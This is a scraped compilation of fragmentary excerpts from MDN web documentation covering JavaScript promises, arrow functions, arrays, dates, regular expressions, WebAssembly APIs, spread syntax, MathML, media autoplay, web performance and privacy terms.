ut(() => saysomething("10 seconds passed"), 10*1000); mixing old-style callbacks and promises is problematic. if saysomething() fails or contains a programming error, nothing catches it. settimeout is to blame for this. luckily we can wrap settimeout in a promise. best practice is to wrap problematic functions at the lowest possible level, and then never call them directly again: const wait = ms => new promise(resolve => settimeout(resolve, ms)); wait(10*1000).then(() => saysomething("10 seconds")).catch(failurecallback); basically, the promise constructor takes an executor function that lets us resolve or reject a promise manually. since settimeout() doesn't really fail, we left out reject in this case. composition promise.resolve() and promise.reject() are shortcuts to manually cr...
...ctions passed to then() will never be called synchronously, even with an already-resolved promise: promise.resolve().then(() => console.log(2)); console.log(1); // 1, 2 instead of running immediately, the passed-in function is put on a microtask queue, which means it runs later when the queue is emptied at the end of the current run of the javascript event loop, i.e. pretty soon: const wait = ms => new promise(resolve => settimeout(resolve, ms)); wait().then(() => console.log(4)); promise.resolve().then(() => console.log(2)).then(() => console.log(3)); console.log(1); // 1, 2, 3, 4 nesting simple promise chains are best kept flat without nesting, as nesting can be a result of careless composition. see common mistakes. nesting is a control structure to limit the scope of catch statem...
...ately, to flatten things: dosomething() .then(function(result) { return dosomethingelse(result); }) .then(newresult => dothirdthing(newresult)) .then(() => dofourththing()) .catch(error => console.error(error)); note that () => x is short for () => { return x; }. now we have a single deterministic chain with proper error handling. using async/await addresses most, if not all of these problems—the tradeoff being that the most common mistake with that syntax is forgetting the await keyword. when promises and tasks collide if you run into situations in which you have promises and tasks (such as events or callbacks) which are firing in unpredictable orders, it's possible you may benefit from using a microtask to check status or balance out your promises when promises are created condi...
Inheritance and the prototype chain - JavaScript
r imaginable (support goes all the way back to ie 5.5!). also, it is very fast, very standard, and very jist-optimizable. in order to use this method, the function in question must be initialized. during this initialization, the constructor may store unique information that must be generated per-object. however, this unique information would only be generated once, potentially leading to problems. additionally, the initialization of the constructor may put unwanted methods onto the object. however, both these are generally not problems at all (in fact, usually beneficial) if it is all your own code and you know what does what where. object.create function foo(){} foo.prototype = { foo_prop: "foo val" }; function bar(){} var proto = object.create( foo.prototype ); prot...
... support in all in-use-today browsers which are all non-microsoft browsers plus ie9 and up. allows the direct setting of __proto__ in a way that is one-time-only so that the browser can better optimize the object. also allows the creation of objects without a prototype via object.create(null). not supported in ie8 and below. however, as microsoft has discontinued extended support for systems running these old browsers, this should not be a concern for most applications. additionally, the slow object initialization can be a performance black hole if using the second argument because each object-descriptor property has its own separate descriptor object. when dealing with hundreds of thousands of object descriptors in the form of object, there can arise a serious issue with lag. ...
...ject.getprototypeof(o).someprop, and if that doesn't exist it checks object.getprototypeof(object.getprototypeof(o)).someprop, and so on. in conclusion it is essential to understand the prototypal inheritance model before writing complex code that makes use of it. also, be aware of the length of the prototype chains in your code and break them up if necessary to avoid possible performance problems. further, the native prototypes should never be extended unless it is for the sake of compatibility with newer javascript features. ...
Arrow function expressions - JavaScript
// equivalent to: => { return expression; } // parentheses are optional when there's only one parameter name: (singleparam) => { statements } singleparam => { statements } // the parameter list for a function with no parameters should be written with a pair of parentheses. ...
...s| properly refers to the person object }, 1000); } var p = new person(); relation with strict mode given that this comes from the surrounding lexical context, strict mode rules with regard to this are ignored. var f = () => { 'use strict'; return this; }; f() === window; // or the global object all other strict mode rules apply normally. correction: start note: the previous statement seems false. strict mode should prevent creating global variables when assigning to an undeclared identifier in a function. this code sample using chrome 81 demonstrates that arrow functions allow the creation of global variables in such situations (both for a concise body and for a normal function body): > f1 = x => { y = x; console.log(`x: ${x}, y: ${y}`); return x + 1; } x => { y = x; console.log...
...e body, only an expression is specified, which becomes the implicit return value. in a block body, you must use an explicit return statement. var func = x => x * x; // concise body syntax, implied "return" var func = (x, y) => { return x + y; }; // with block body, explicit "return" needed returning object literals keep in mind that returning object literals using the concise body syntax params => {object:literal} will not work as expected. var func = () => { foo: 1 }; // calling func() returns undefined! var func = () => { foo: function() {} }; // syntaxerror: function statement requires a name this is because the code inside braces ({}) is parsed as a sequence of statements (i.e. foo is treated like a label, not a key in an object literal). you must wrap the object literal in pare...
Array.prototype.every() - JavaScript
genough); // true using arrow functions arrow functions provide a shorter syntax for the same test. [12, 5, 8, 130, 44].every(x => x >= 10); // false [12, 54, 18, 130, 44].every(x => x >= 10); // true​ affecting initial array (modifying, appending, and deleting) the following examples tests the behaviour of the every method when the array is modified. ...
...------------- let arr = [1, 2, 3, 4]; arr.every( (elem, index, arr) => { arr[index+1] -= 1 console.log(`[${arr}][${index}] -> ${elem}`) return elem < 2 }) // loop runs for 3 iterations, but would // have run 2 iterations without any modification // // 1st iteration: [1,1,3,4][0] -> 1 // 2nd iteration: [1,1,2,4][1] -> 1 // 3rd iteration: [1,1,2,3][2] -> 2 // --------------- // appending items // --------------- arr = [1, 2, 3]; arr.every( (elem, index, arr) => { arr.push('new') console.log(`[${arr}][${index}] -> ${elem}`) return elem < 4 }) // loop runs for 3 iterations, even after appending new items // // 1st iteration: [1, 2, 3, new][0] -> 1 // 2nd iteration: [1, 2, 3, new, new][1] -> 2 // 3rd iteration: [1, 2, 3, new, new, new][2] -> 3 // --------------- // deleting items ...
... items // // 1st iteration: [1, 2, 3, new][0] -> 1 // 2nd iteration: [1, 2, 3, new, new][1] -> 2 // 3rd iteration: [1, 2, 3, new, new, new][2] -> 3 // --------------- // deleting items // --------------- arr = [1, 2, 3, 4]; arr.every( (elem, index, arr) => { arr.pop() console.log(`[${arr}][${index}] -> ${elem}`) return elem < 4 }) // loop runs for 2 iterations only, as the remaining // items are `pop()`ed off // // 1st iteration: [1,2,3][0] -> 1 // 2nd iteration: [1,2][1] -> 2 specifications specification ecmascript (ecma-262)the definition of 'array.prototype.every' in that specification. ...
Array - JavaScript
console.
...banana", "mango"] let pos = fruits.indexof('banana') // 1 remove an item by index position let removeditem = fruits.splice(pos, 1) // this is how to remove an item // ["strawberry", "mango"] remove items from an index position let vegetables = ['cabbage', 'turnip', 'radish', 'carrot'] console.log(vegetables) // ["cabbage", "turnip", "radish", "carrot"] let pos = 1 let n = 2 let removeditems = vegetables.splice(pos, n) // this is how to remove items, n defines the number of items to be removed, // starting at the index position specified by pos and progressing toward the end of array. console.log(vegetables) // ["cabbage", "carrot"] (the original array is changed) console.log(removeditems) // ["turnip", "radish"] copy an array let shallowcopy = fruits.slice() // this is how to m...
...s one or more elements to the front of an array, and returns the new length of the array. array.prototype.values() returns a new array iterator object that contains the values for each index in the array. array.prototype[@@iterator]() returns a new array iterator object that contains the values for each index in the array. examples creating an array the following example creates an array, msgarray, with a length of 0, then assigns values to msgarray[0] and msgarray[99], changing the length of the array to 100. let msgarray = [] msgarray[0] = 'hello' msgarray[99] = 'world' if (msgarray.length === 100) { console.log('the length is 100.') } creating a two-dimensional array the following creates a chessboard as a two-dimensional array of strings. the first move is made by copying ...
Date.prototype.setHours() - JavaScript
illiseconds since january 1, 1970 00:00:00 utc until the time represented by the updated date instance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.sethours(hoursvalue[, minutesvalue[, secondsvalue[, msvalue]]]) versions prior to javascript 1.3 dateobj.sethours(hoursvalue) parameters hoursvalue ideally, an integer between 0 and 23, representing the hour. if a value greater than 23 is provided, the datetime will be incremented by the extra hours. minutesvalue optional. ideally, an integer between 0 and 59, representing the minutes. if a value greater than 59 is provided, the datetime wil...
... 0 and 59, representing the minutes. if a value greater than 59 is provided, the datetime will be incremented by the extra minutes. secondsvalue optional. ideally, an integer between 0 and 59, representing the seconds. if a value greater than 59 is provided, the datetime will be incremented by the extra seconds. if you specify the secondsvalue parameter, you must also specify the minutesvalue. msvalue optional. ideally, a number between 0 and 999, representing the milliseconds. if a value greater than 999 is provided, the datetime will be incremented by the extra milliseconds. if you specify the msvalue parameter, you must also specify the minutesvalue and secondsvalue. return value the number of milliseconds between january 1, 1970 00:00:00 utc and the updated date. description if ...
...epresenting the milliseconds. if a value greater than 999 is provided, the datetime will be incremented by the extra milliseconds. if you specify the msvalue parameter, you must also specify the minutesvalue and secondsvalue. return value the number of milliseconds between january 1, 1970 00:00:00 utc and the updated date. description if you do not specify the minutesvalue, secondsvalue, and msvalue parameters, the values returned from the getminutes(), getseconds(), and getmilliseconds() methods are used. if a parameter you specify is outside of the expected range, sethours() attempts to update the date information in the date object accordingly. for example, if you use 100 for secondsvalue, the minutes will be incremented by 1 (minutesvalue + 1), and 40 will be used for seconds. exa...
Date.prototype.setMinutes() - JavaScript
the setminutes() method sets the minutes for a specified date according to local time. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... pull request. syntax dateobj.setminutes(minutesvalue[, secondsvalue[, msvalue]]) versions prior to javascript 1.3 dateobj.setminutes(minutesvalue) parameters minutesvalue an integer between 0 and 59, representing the minutes. secondsvalue optional. an integer between 0 and 59, representing the seconds. if you specify the secondsvalue parameter, you must also specify the minutesvalue. msvalue optional. a number between 0 and 999, representing the milliseconds. if you specify the msvalue parameter, you must also specify the minutesvalue and secondsvalue. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the updated date. ...
... if a parameter you specify is outside of the expected range, setminutes() attempts to update the date information in the date object accordingly. ...
Date.prototype.setUTCMinutes() - JavaScript
the setutcminutes() method sets the minutes for a specified date according to universal time. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...e clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.setutcminutes(minutesvalue[, secondsvalue[, msvalue]]) parameters minutesvalue an integer between 0 and 59, representing the minutes. secondsvalue optional. an integer between 0 and 59, representing the seconds. if you specify the secondsvalue parameter, you must also specify the minutesvalue. msvalue optional. a number between 0 and 999, representing the milliseconds. if you specify the msvalue parameter, you must also specify the minutesvalue and secondsvalue. ...
... if a parameter you specify is outside of the expected range, setutcminutes() attempts to update the date information in the date object accordingly. ...
Intl.PluralRules() constructor - JavaScript
e to use. possible values are: "cardinal" for cardinal numbers (refering to the quantity of things). this is the default value. "ordinal" for ordinal number (refering to the ordering or ranking of things, e.g. "1st", "2nd", "3rd" in english). the following properties fall into two groups: minimumintegerdigits, minimumfractiondigits, and maximumfractiondigits in one group, minimumsignificantdigits and maximumsignificantdigits in the other. if at least one property from the second group is defined, then the first group is ignored. minimumintegerdigits the minimum number of integer digits to use. possible values are from 1 to 21; the default is 1. minimumfractiondigits the minimum number of fraction digits to use. possible values are from 0 to 20; the defau...
...s are from 0 to 20; the default for plain number formatting is the larger of minimumfractiondigits and 3; the default for currency formatting is the larger of minimumfractiondigits and the number of minor unit digits provided by the iso 4217 currency code list (2 if the list doesn't provide that information); the default for percent formatting is the larger of minimumfractiondigits and 0. minimumsignificantdigits the minimum number of significant digits to use. possible values are from 1 to 21; the default is 1. maximumsignificantdigits the maximum number of significant digits to use. possible values are from 1 to 21; the default is 21. examples basic usage in basic use without specifying a locale, a formatted string in the default locale and with default options is returned.
..."dog" and "dogs". ...
Promise - JavaScript
promise has already been fulfilled or rejected when a corresponding handler is attached, the handler will be called, so there is no race condition between an asynchronous operation completing and its handlers being attached. as the promise.prototype.then() and promise.prototype.catch() methods return promises, they can be chained. not to be confused with: several other languages have mechanisms for lazy evaluation and deferring a computation, which they also call "promises", e.g. scheme. promises in javascript represent processes that are already happening, which can be chained with callback functions. if you are looking to lazily evaluate an expression, consider the arrow function with no arguments: f = () => expression to create the lazily-evaluated expression, and f() to evaluate. ...
... // throw new error("bad setup"); } catch(err) { reject(`error during setup: ${err}`); } return; } function determineparity(value) { const isodd = value % 2 ? true : false ; const parityinfo = {...
... // throw new error("bad setup"); } catch(err) { reject(`error during setup: ${err}`); } return; } function determineparity(value) { const isodd = value % 2 ? true : false ; const parityinfo = { thenumber: value, isodd: isodd }; return par...
RegExp - JavaScript
otype.compile() (re-)compiles a regular expression during execution of a script. regexp.prototype.exec() executes a search for a match in its string parameter. regexp.prototype.test() tests for a match in its string parameter. regexp.prototype.tostring() returns a string representing the specified object. overrides the object.prototype.tostring() method. regexp.prototype[@@match]() performs match to given string and returns match result. regexp.prototype[@@matchall]() returns all matches of the regular expression against a string. regexp.prototype[@@replace]() replaces matches in given string with new substring. regexp.prototype[@@search]() searches the match in given string and returns the index the pattern found in the string. regexp.prototype[@@split]() splits given strin...
...ar expression pattern. let re = /(\w+)\s(\w+)/ let str = 'john smith' let newstr = str.replace(re, '$2, $1') console.log(newstr) this displays "smith, john". using regular expression to split lines with different line endings/ends of line/line breaks the default line ending varies depending on the platform (unix, windows, etc.). the line splitting provided in this example works on all platforms. let text = 'some text\nand some more\r\nand yet\rthis is the end' let lines = text.split(/\r\n|\r|\n/) console.log(lines) // logs [ 'some text', 'and some more', 'and yet', 'this is the end' ] note that the order of the patterns in the regular expression matters. using regular expression on multiple lines let s = 'please yes\nmake my day!' s.match(/yes.*day/); // returns null s.match(/yes...
...ome more', 'and yet', 'this is the end' ] note that the order of the patterns in the regular expression matters. using regular expression on multiple lines let s = 'please yes\nmake my day!' s.match(/yes.*day/); // returns null s.match(/yes[^]*day/); // returns ["yes\nmake my day"] using a regular expression with the sticky flag the sticky flag indicates that the regular expression performs sticky matching in the target string by attempting to match starting at regexp.prototype.lastindex. let str = '#foo#' let regex = /foo/y regex.lastindex = 1 regex.test(str) // true regex.lastindex = 5 regex.test(str) // false (lastindex is taken into account with sticky flag) regex.lastindex // 0 (reset after match failure) the difference between the sticky flag and the global f...
String.prototype.normalize() - JavaScript
= '\u00f1'; // ñ let string2 = '\u006e\u0303'; // ñ console.log(string1 === string2); // false console.log(string1.length); // 1 console.log(string2.length); // 2 the normalize() method helps solve this problem by converting a string into a normalized form common for all sequences of code points that represent the same characters. there are two main normalization forms, one based on canonical equivalence and the other based on compatibility. canonical equivalence normalization in unicode, two sequences of code points have canonical equivalence if they represent the same abstract characters, and should always have the same visual appearance and behavior (for example, they should always be sorted in the same way). you can use normalize() using the "nfd" or "nf...
...quivalent strings. in the example below we normalize two representations of the character "ñ": let string1 = '\u00f1'; // ñ let string2 = '\u006e\u0303'; // ñ string1 = string1.normalize('nfd'); string2 = string2.normalize('nfd'); console.log(string1 === string2); // true console.log(string1.length); // 2 console.log(string2.length); // 2 composed and decomposed forms note that the length of the normalized form under "nfd" is 2. that's because "nfd" gives you the decomposed version of the canonical form, in which single code points are split into multiple combining ones. the decomposed canonical form for "ñ" is "\u006e\u0303". you can specify "nfc" to get the composed canonical form, in which multiple code points are replaced with single code points where p...
...with the strings, since the normalized form may not be appropriate for all applications. in the example above the normalization is appropriate for search, because it enables a user to find the string by searching for "f". but it may not be appropriate for display, because the visual representation is different. as with canonical normalization, you can ask for decomposed or composed compatible forms by passing "nfkd" or "nfkc", respectively. examples using normalize() // initial string // u+1e9b: latin small letter long s with dot above // u+0323: combining dot below let str = '\u1e9b\u0323'; // canonically-composed form (nfc) // u+1e9b: latin small letter long s with dot above // u+0323: combining dot below str.normalize('nfc'); // '\u1e9b\u0323' str.normalize(); // same as abov...
String - JavaScript
ed by string instances. note that a == b compares the strings in a and b for being equal in the usual case-sensitive way. if you wish to compare without regard to upper or lower case characters, use a function similar to this: function isequal(str1, str2) { return str1.touppercase() === str2.touppercase() } // isequal upper case is used instead of lower case in this function, due to problems with certain utf-8 character conversions. string primitives and string objects note that javascript distinguishes between string objects and primitive string values. (the same is true of boolean and numbers.) string literals (denoted by double or single quotes) and strings returned from string calls in a non-constructor context (that is, called without using the new keyword) are primitive stri...
...e or any other character after the backslash (except for a line break), or as an indent; otherwise it will not work. that form looks like this: let longstring = "this is a very long string which needs \ to wrap across multiple lines because \ otherwise my code is unreadable." both of the above methods result in identical strings. constructor string() creates a new string object. it performs type conversion when called as a function, rather than as a constructor, which is usually more useful. static methods string.fromcharcode(num1 [, ...[, numn]]) returns a string created by using the specified sequence of unicode values. string.fromcodepoint(num1 [, ...[, numn) returns a string created by using the specified sequence of code points. string.raw() returns a string created f...
...t languages, this will return the same as touppercase(). string.prototype.tolowercase() returns the calling string value converted to lowercase. string.prototype.tostring() returns a string representing the specified object. overrides the object.prototype.tostring() method. string.prototype.touppercase() returns the calling string value converted to uppercase. string.prototype.trim() trims whitespace from the beginning and end of the string. part of the ecmascript 5 standard. string.prototype.trimstart() trims whitespace from the beginning of the string. string.prototype.trimend() trims whitespace from the end of the string. string.prototype.valueof() returns the primitive value of the specified object. overrides the object.prototype.valueof() method. string.prototype.@@iter...
WebAssembly.CompileError - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0compileerror() constructorchrome full support 57edge full support 16firefox full support 52notes ...
... ...
WebAssembly.LinkError - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0linkerror() constructorchrome full support 57edge full support 16firefox full support 52notes fu...
... ...
WebAssembly.Memory() constructor - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0shared flagchrome full support 74edge full support 79firefox full support 78ie no support ...
... ...
WebAssembly.RuntimeError - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0runtimeerror() constructorchrome full support 57edge full support 16firefox full support 52notes ...
... ...
WebAssembly.compileStreaming() - JavaScript
ile. return value a promise that resolves to a webassembly.module object representing the compiled module. exceptions if buffersource is not a typed array, a typeerror is thrown. if compilation fails, the promise rejects with a webassembly.compileerror. examples compile streaming the following example (see our compile-streaming.html demo on github, and view it live also) directly streams a .wasm module from an underlying source then compiles it to a webassembly.module object. because the compilestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fetch() call, and it will pass the response into the function when it fulfills. var importobject = { imports: { imported_func: arg => console.log(arg) } }; webassembly.comp...
...hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 61chrome android full support 61firefox android full support 58opera android full support 45safari ios no support nosamsung internet android full support 8.0nodejs no support nolegend full support full support no support no support ...
WebAssembly.instantiate() - JavaScript
the returned promise resolves to both a compiled webassembly.module and its first webassembly.instance. the secondary overload takes an already-compiled webassembly.module and returns a promise that resolves to an instance of that module. ...
...that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.instantiateStreaming() - JavaScript
of the parameters are not of the correct type or structure, a typeerror is thrown. if the operation fails, the promise rejects with a webassembly.compileerror, webassembly.linkerror, or webassembly.runtimeerror, depending on the cause of the failure. examples instantiating streaming the following example (see our instantiate-streaming.html demo on github, and view it live also) directly streams a .wasm module from an underlying source then compiles and instantiates it, the promise fulfilling with a resultobject. because the instantiatestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fetch() call, and it will pass the response into the function when it fulfills. var importobject = { imports: { imported_func: arg => conso...
...hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 61chrome android full support 61firefox android full support 58opera android full support 45safari ios no support nosamsung internet android full support 8.0nodejs no support nolegend full support full support no support no support ...
Spread syntax (...) - JavaScript
spread syntax.) const a = [[1], [2], [3]]; const b = [...a]; b.shift().shift(); // 1 // oh no! now array 'a' is affected as well: a // [[], [2], [3]] a better way to concatenate arrays array.prototype.concat() is often used to concatenate an array to the end of an existing array. without spread syntax, this is done as: const arr1 = [0, 1, 2]; const arr2 = [3, 4, 5]; // append all items from arr2 onto arr1 arr1 = arr1.concat(arr2); with spread syntax this becomes: let arr1 = [0, 1, 2]; let arr2 = [3, 4, 5]; arr1 = [...arr1, ...arr2]; // arr1 is now [0, 1, 2, 3, 4, 5] // note: not to use const otherwise, it will give typeerror (invalid assignment) array.prototype.unshift() is often used to insert an array of values at the start of an existing array. without spread syntax, t...
... arr1 = [0, 1, 2]; let arr2 = [3, 4, 5]; arr1 = [...arr1, ...arr2]; // arr1 is now [0, 1, 2, 3, 4, 5] // note: not to use const otherwise, it will give typeerror (invalid assignment) array.prototype.unshift() is often used to insert an array of values at the start of an existing array. without spread syntax, this is done as: const arr1 = [0, 1, 2]; const arr2 = [3, 4, 5]; // prepend all items from arr2 onto arr1 array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2] with spread syntax, this becomes: let arr1 = [0, 1, 2]; let arr2 = [3, 4, 5]; arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] note: unlike unshift(), this creates a new arr1, and does not modify the original arr1 array in-place. spread in object literals the rest/spread propert...
...dobj1 = merge (obj1, obj2); // object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } } let mergedobj2 = merge ({}, obj1, obj2); // object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } } in the above example, the spread syntax does not work as one might expect: it spreads an array of arguments into the object literal, due to the rest parameter. only for iterables objects themselves are not iterable, but they become iterable when used in an array, or with iterating functions such as map(), reduce(), and assign(). when merging 2 objects together with the spread operator, it is assumed another iterating function is used when the merging occurs. spread syntax (other than in the case of spread properties) can be applied only to iterable objects: const obj = {'key1': 'valu...
<semantics> - MathML
the mathml elements <semantics>, <annotation> and <annotation-xml> are used to combine presentation and content markup and to provide both, layout information and semantic meaning of mathematical expressions. ...
...of the semantic information in the annotation (e.g. "mathml-content", "mathml-presentation", "application/openmath+xml", "image/png") cd the content dictionary that contains the annotation key symbol. name the name of the annotation key symbol. src the location of an external source for semantic information. ...
..."mathml-content", "mathml-presentation", "application/openmath+xml", "image/png") cd the content dictionary that contains the annotation key symbol. name the name of the annotation key symbol. src the location of an external source for semantic information. ...
Autoplay guide for media and Web Audio APIs - Web media technologies
automatically starting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users. while autoplay of media serves a useful purpose, it should be used carefully and only when needed. in order to give users control over this, browsers often provide various forms of autoplay blocking. in this guide, we'll cover autoplay functionality in the various media and web audio apis, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully. autoplay blocking is not applied to <video> elements when the source media does not have an audio track, or if the audio track is muted. media with an active audio track are considered to be audible, and autoplay blocking applies to them. in...
...oelement.play(); the following web features and apis may be affected by autoplay blocking: the html <audio> and <video> elements the web audio api from the user's perspective, a web page or app that spontaneously starts making noise without warning can be jarring, inconvenient, or off-putting. because of that, browsers generally only allow autoplay to occur successfully under specific circumstances. autoplay availability as a general rule, you can assume that media will be allowed to autoplay only if at least one of the following is true: the audio is muted or its volume is set to 0 the user has interacted with the site (by clicking, tapping, pressing keys, etc.) if the site has been whitelisted; this may happen either automatically if the browser determines that the user engag...
...telisted vary from browser to browser, but the above are good guidelines to go by. for details, see the auto-play policies for google chrome and webkit. note: put another way, playback of any media that includes audio is generally blocked if the playback is programmatically initiated in a tab which has not yet had any user interaction. browsers may additionally choose to block under other circumstances. autoplay of media elements now that we've covered what autoplay is and what can prevent autoplay from being allowed, we'll look at how your web site or app can automatically play media upon page load, how to detect when autoplay fails to occur, and tips for coping when autoplay is denied by the browser. the autoplay attribute the simplest way to automatically play content is to add th...
Animation performance and frame rate - Web Performance
imations, be it css, svg, <canvas>, webgl or other javascript animations, can cause performance issues even if the bandwidth footprint is small. these animations can consume cpu and/or cause jank. while performance is sensitive to the particular system and its load, performance tools can help you understand the work the browser's doing to render your site, and help you prevent and diagnose problems when they occur. users expect all interface interactions to be smooth and all user interfaces to be responsive. animation can help make a site feel faster and responsive, but animations can also make a site feel slower and janky if not done correctly. responsive user interfaces have a frame rate of 60 frames per second (fps). while it is not always possible to maintain 60fps, it is important to ...
...ee how the waterfall can highlight the difference between animating using margin and animating using transform. the intention of this scenario isn't to convince you that animating using margin is always a bad idea. it's to demonstrate how the tools can give you insight into the work the browser is doing to render your site, and how you can apply that insight to diagnose and fix performance problems. if you want to play along, the demo website is here. it looks like this: it has two controls: a button to start/stop the animation, and a radio group to choose to animate using margin, or to animate using transform. there are a number of elements, and we've added a linear-gradient background and a box-shadow to each element, because they are both relatively expensive effects to paint. there'...
...ll view. if you scroll through this, you'll see a pattern like this: this is showing us the rendering waterfall. in each animation frame, we recalculate styles for every element, then perform a single layout, then a repaint. you can see that paint especially is hurting performance here. in the screenshot above we've highlighted a paint operation, and the box on the right tells us it took 13.11ms. with only 16.7ms in our total budget, it's not surprising we are missing a consistently high frame rate. you can experiment with this: try removing the box shadow using the page inspector, and see how that affects paint time. but next, we'll see how using transform instead of margin eliminates those expensive paints entirely. animating using transform now switch the radio button in the web pa...
Critical rendering path - Web Performance
of nodes inheriting styles. the incremental processing features don't apply to css like they do with html, because subsequent rules may override previous ones. the css object model gets built as the css is parsed, but can't be used to build the render tree until it is completely parsed because styles that are going to be overwritten with later parsing should not be rendered to the screen. in terms of selector performance, less specific selectors are faster than more specific ones. for example, .foo {} is faster than .bar .foo {} because when the browser finds .foo, in the second scenario, it has to walk up the dom to check if .foo has an ancestor .bar. the more specific tag requires more work from the browser, but this penalty is not likely worth optimizing. if you measure the time it tak...
...iewport width. the device-width changes when a user rotates their phone between landscape and portrait mode. layout happens every time a device is rotated or browser is otherwise resized. layout performance is impacted by the dom -- the greater the number of nodes, the longer layout takes. layout can become a bottleneck, leading to jank if required during scrolling or other animations. while a 20ms delay on load or orientation change may be fine, it will lead to jank on animation or scroll. any time the render tree is modified, such as by added nodes, altered content, or updated box model styles on a node, layout occurs. to reduce the frequency and duration of layout events, batch updates and avoid animating box model properties. paint the last step is painting the pixels to the screen. ...
... are being applied to the render tree. while painting is a very fast process, and therefore likely not the most impactful place to focus on in improving performance, it is important to remember to allow for both layout and re-paint times when measuring how long an animation frame may take. the styles applied to each node increase the paint time, but removing style that increases the paint by 0.001ms may not give you the biggest bang for your optimization buck. remember to measure first. then you can determine whether it should be an optimization priority. optimizing for crp improve page load speed by prioritizing which resources get loaded, controlling the order in which they are loaded, and reducing the file sizes of those resources. performance tips include 1) minimizing the number of cr...
Understanding latency - Web Performance
this article explains what latency is, how it impacts performance, how to measure latency, and how to reduce it. what is latency? latency is generally considered to be the amount of time it takes from when a request is made by the user to the time it takes for the response to get back to that user. ...
...tes, latency is longer because it includes a dns lookup, a tcp handshake, the secure tls negotiation. subsequent requests will have less latency because the connection to the server is already set. latency describes the amount of delay on a network or internet connection. low latency implies that there are no or almost no delays. high latency implies that there are many delays. one of the main aims of improving performance is to reduce latency. the latency associated with a single asset, especially a basic html page, may seem trivial. but websites generally involve multiple requests: the html includes requests for multiple css, scripts, and media files. the greater the number and size of these requests, the greater the impact of high latency on user experience. on a connection with low l...
...table, you can switch the throttling option to 2g, 3g, etc. different browser developer tools have different preset options, the characteristics emulated include download speed, upload speed, and minimum latency, or the minimum amount of type it takes to send a packet of data. ...
Privacy, permissions, and information security
to achieve as much privacy and information security as possible. in this article, we examine how to create web content that minimizes the risk of users' personal information or imagery being obtained unexpectedly by third parties. security and privacy defined before we go into any depth about the various security and privacy features available to users on the web, let's define some important terms. personally identifiable information personally identifiable information (pii) is information which can be used, in whole or in part, to track down and/or identify a specific person. as such, pii extends beyond the web to all aspects of life. for example, if a site leaks a list of users' names and zip codes online, a bad actor could almost certainly track down at least some percentage of th...
... by permitting only a select group of people to access it, or only allowing the information to be accessed and used for a limited period of time. security security is about the active protection of data or a system against being accessed, downloaded, or operated by people or organizations that don't have permission to do so. good security practices aim to prevent unauthorized access to systems or data, regardless of what the target is. personal and private information <what kind of information is private or personal?> privacy risks <what are ways personal information can be gotten by third parties?> fingerprinting fingerprinting is a technique used to gather a variety of information that's made available by a user's browser and collating it until it becomes possible to uniquel...
...> specifies which web features the document in the frame should be allowed to access http public key pinning (hpkp) hpkp is used by servers to instruct a client to associate a specific public key with the server going forward in order to decrease the likelihood of man-in-the-middle attacks http strict transport security (hsts) hsts is used by servers to let them protect themselves from protocol downgrade and cookie hijack attacks by letting sites tell clients that they can only use https to communicate with the server http/2 while http/2 technically does not have to use encryption, most browser developers are only supporting it when used with https, so it can be thought of in that regard as being security-related permissions api provides a way ...
Installing and uninstalling web apps - Progressive web apps (PWAs)
vice, you reduce both the loss of any muscle memory they have revolving around the native interface of the device and the sensation of "something isn't quite right" that users can experience when switching between native and web-based apps. what browsers support installation? installation is supported by chrome for android and android webview version 31 and later, opera for android 32 onward, samsung internet from version 4 onward, and firefox for android version 58 and later. safari on ios is a little different. some parts of the pwa ecosystem are supported, while others are not. ios 13 introduced a much more comparable install experience, which is also described here. the install user experience we've written a very simple example web site (see our demo live, and also see the source c...
